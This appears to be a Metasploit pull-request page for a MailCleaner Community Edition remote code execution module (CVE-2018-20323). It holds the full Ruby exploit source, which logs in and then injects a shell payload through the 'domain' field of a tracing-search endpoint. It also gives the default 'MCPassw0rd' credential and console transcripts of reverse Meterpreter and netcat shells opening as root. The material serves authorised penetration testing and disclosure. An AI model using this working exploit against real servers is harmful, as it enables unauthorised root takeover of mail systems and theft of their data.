Land #11148, Adding Module MailCleaner RCE
Jacob Robles
Metasploit
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## Description
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This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root.
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### Vulnerable Application
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You can download ISO file from following URL.
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[https://www.mailcleaner.org/latest-downloads/](https://www.mailcleaner.org/latest-downloads/)
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At the time of this writing all the passwords of users such as root or admin user was "MCPassw0rd".
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## Verification Steps
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A successful check of the exploit will look like this:
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1. Start `msfconsole`
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2. `use use exploit/linux/http/mailcleaner`
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3. Set `RHOST`
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4. Set `LHOST`
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5. Set `USERNAME`
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6. Set `PASSWORD`
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7. Run `exploit`
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8. **Verify** that you are seeing ` Awesome..! Authenticated`.
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9. **Verify** that you are getting `meterpreter` session.
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## Scenarios
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```
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msf5 > use exploit/linux/http/mailcleaner_exec
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msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100
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RHOSTS => 12.0.0.100
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msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1
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LHOST => 12.0.0.1
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msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin
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USERNAME => admin
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msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD <password>
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PASSWORD => qwe123
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msf5 exploit(linux/http/mailcleaner_exec) > run
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[*] Started reverse TCP handler on 12.0.0.1:4444
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[*] Performing authentication...
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[+] Awesome..! Authenticated with admin:<password>
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[*] Exploiting command injection flaw
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[*] Sending stage (53508 bytes) to 12.0.0.100
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[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.100:44974) at 2018-12-19 17:24:44 +0300
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[*] Sending stage (53508 bytes) to 12.0.0.100
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[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.100:44975) at 2018-12-19 17:24:45 +0300
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meterpreter >
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```
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You can also use cmd payloads.
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```
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msf5 > use exploit/linux/http/mailcleaner_exec
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msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100
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RHOSTS => 12.0.0.100
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msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1
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LHOST => 12.0.0.1
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msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin
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USERNAME => admin
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msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD <password>
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msf5 exploit(linux/http/mailcleaner_exec) > set target 1
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msf5 exploit(linux/http/mailcleaner_exec) > set payload cmd/unix/reverse
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payload => cmd/unix/reverse
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msf5 exploit(linux/http/mailcleaner_exec) > run
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[*] Started reverse TCP double handler on 12.0.0.1:4444
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[*] Performing authentication...
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[+] Awesome..! Authenticated with admin:MCPassw0rd
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[*] Exploiting command injection flaw
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[*] Accepted the first client connection...
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[*] Accepted the second client connection...
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[*] Command: echo P6zixt2asYXZ29NE;
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[*] Writing to socket A
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[*] Writing to socket B
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[*] Reading from sockets...
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[*] Reading from socket B
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[*] B: "P6zixt2asYXZ29NE\r\n"
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[*] Matching...
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[*] A is input...
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[*] Command shell session 2 opened (12.0.0.1:4444 -> 12.0.0.100:53996) at 2018-12-20 12:09:32 +0300
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id
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uid=0(root) gid=1003(mailcleaner) groups=1003(mailcleaner)
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Mailcleaner Remote Code Execution",
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'Description' => %q{
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This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an
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operating system command under the context of the web server user which is root.
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/admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
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operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
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],
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'References' =>
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[
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['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],
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['CVE', '2018-20323']
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],
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'DefaultOptions' =>
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{
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'SSL' => true,
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'WfsDelay' => 5,
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},
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'Platform' => ['python', 'unix'],
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'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
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'Targets' =>
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[
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['Python payload',
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{
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'Platform' => 'python',
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'Arch' => ARCH_PYTHON,
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'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
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}
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],
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['Command payload',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Payload' => {'BadChars' => "\x26"},
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'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Dec 19 2018",
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'DefaultTarget' => 0
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))
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
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OptString.new('USERNAME', [true, 'The username to login as']),
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OptString.new('PASSWORD', [true, 'The password to login with'])
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]
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)
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end
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def username
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datastore['USERNAME']
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end
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def password
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datastore['PASSWORD']
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end
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def auth
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print_status('Performing authentication...')
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'admin/')
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})
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if res && !res.get_cookies.empty?
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cookie = res.get_cookies
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else
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fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')
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end
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# Performing authentication
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'admin/'),
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'cookie' => cookie,
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'vars_post' => {
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'username' => username,
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'password' => password,
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'submit' => 'Log+in'
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}
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})
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if res && res.code == 302
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print_good("Awesome..! Authenticated with #{username}:#{password}")
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else
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fail_with(Failure::NoAccess, 'Credentials are not valid.')
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end
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cookie
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end
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def exploit
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cookie = auth
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if cookie.nil?
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fail_with(Failure::Unknown, 'Something went wrong!')
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end
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print_status('Exploiting command injection flaw')
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if target['Arch'] == ARCH_PYTHON
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cmd = "';$(python -c \"#{payload.encoded}\");#"
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else
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cmd = "';#{payload.encoded};#"
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end
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),
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'cookie' => cookie,
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'vars_post' => {
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'search' => rand_text_alpha(5),
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'domain' => cmd,
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'submit' => 1
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}
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})
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end
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end
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